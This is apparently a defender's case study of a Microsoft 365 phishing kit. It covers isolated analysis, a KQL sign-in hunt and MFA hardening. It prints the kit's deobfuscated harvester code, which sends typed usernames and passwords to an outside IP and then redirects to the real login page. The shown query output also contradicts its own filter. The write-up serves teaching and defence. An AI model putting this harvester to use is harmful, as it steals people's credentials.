Phishing kit dissection — anatomy of a credential harvester

Reverse a captured Microsoft 365 phishing kit, identify the exfil paths, and teach defenders what to look for.

1. 01

   Pulled the captured HTML/JS locally in an isolated VM; disabled outbound network calls before opening.

2. 02

   Traced form actions, hidden inputs, and inline scripts to find both the credential POST and the MFA-code capture step.

   Fig · 02 · Kit source · exfil endpoint locatedLIVE

   kit/index.js — deobfuscatedVS Code · JavaScript

   1

   2

   3

   4

   5

   6

   7

   8

   9

   10

   11

   12

   function harvest(e) {
     e.preventDefault();
     const payload = {
       login:  document.getElementById("i0116").value,
       passwd: document.getElementById("i0118").value,
       ua:     navigator.userAgent,
       ts:     Date.now(),
     };
     fetch("https://45.61.187.22/x/post.php", {
       method: "POST",
       body:   JSON.stringify(payload),
     }).finally(() => {
       location.href = "https://login.microsoftonline.com/";
     });
   }

3. 03

   Cross-referenced infrastructure in URLScan; filed abuse reports with the registrar and hosting provider.

4. 04

   Wrote KQL against SignInLogs to find every user who touched the lure URL, revoked sessions, forced re-enrollment.

   Fig · 04 · KQL hunt · SigninLogs correlationLIVE

   Microsoft Sentinel · KQL querySigninLogs · last 24h

   SigninLogs
   | where TimeGenerated > ago(24h)
   | where AppDisplayName == "Office 365"
   | where IPAddress == "45.61.187.22"
   | where ResultType != 0
   | project TimeGenerated, UserPrincipalName, IPAddress,
             Location, ResultType, ResultDescription
   | order by TimeGenerated desc

   Time	User	IP	Result
   09:14:22	a.patel@…	45.61.187.22	50126
   09:15:07	m.rojas@…	45.61.187.22	50126
   09:15:41	j.chen@…	45.61.187.22	50126
   09:17:03	s.khan@…	45.61.187.22	0

   → 1 successful sign-in from phishing IP · session revoked · password reset forced

5. 05

   Rolled out phishing-resistant auth (WebAuthn/FIDO2) for high-privilege accounts.

Kit reversed, two exfil endpoints reported to hosting providers, tenant hardened with phishing-resistant MFA path.

• AiTM kits capture the MFA code, not the seed — only phishing-resistant auth actually stops them.
• The kit's own JS tells you the exfil URL — always the fastest lead.